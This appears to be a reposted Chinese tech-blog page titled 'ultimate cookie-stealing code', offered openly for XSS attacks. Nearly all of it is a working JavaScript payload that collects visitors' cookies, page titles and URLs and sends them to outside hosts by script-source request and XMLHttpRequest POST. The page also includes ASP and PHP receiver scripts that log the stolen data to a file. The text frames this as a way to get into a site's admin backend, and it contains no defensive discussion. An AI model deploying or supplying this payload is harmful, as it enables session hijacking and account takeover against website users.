盗取cookie终极代码
生活随笔
收集整理的這篇文章主要介紹了
盗取cookie终极代码
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
大家知道xss攻擊最有效的方式就是盜取cookie值。通過盜取cookie值可以進入后臺從法客搬過來的~JS:document.write('<script LANGUAGE="Javascript" src="" id="get">');function get(url){var obj = document.getElementById("get");obj.src = url;}var u="http:// www.2cto.com /1.php?msg="+escape(document.title)+"|"+document.cookie+"|"+escape(document.URL); get(u);function poster(){var request = false;if(window.XMLHttpRequest) {request = new XMLHttpRequest();if(request.overrideMimeType) {request.overrideMimeType('text/xml');}} else if(window.ActiveXObject) {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<10;i++) try {request = new ActiveXObject(versions[i]);} catch(e) {}}return request;}function postmydata(action,data){xmlhttp.open("POST", action, false);xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xmlhttp.send(data);return xmlhttp.responseText;}xmlhttp=poster();//data="msg=document.cookie";
data="msg="+escape(document.title)+"|"+document.cookie+"|"+escape(document.URL);postmydata("http://se.bb56.net/1.php",data);服務器端代碼:asp:<%testfile=Server.MapPath("1.txt")msg=Request("msg")set fs=server.CreateObject("scripting.filesystemobject")set thisfile=fs.OpenTextFile(testfile,8,True,0)thisfile.WriteLine(""&now()&"|"&msg& "")thisfile.closeset fs = nothing%>php:<?php$content=$_REQUEST["msg"];$time=date('Y-m-d H:i:s',time());$file="xss.txt";$fp = fopen($file,"a+");fwrite($fp,$time."|".$content."\r\n");fclose($fp);?>
?
轉載于:https://www.cnblogs.com/rinack/p/3195707.html
與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的盗取cookie终极代码的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: poj 1469 二分图最大匹配
- 下一篇: java对xml文件做增删改查-----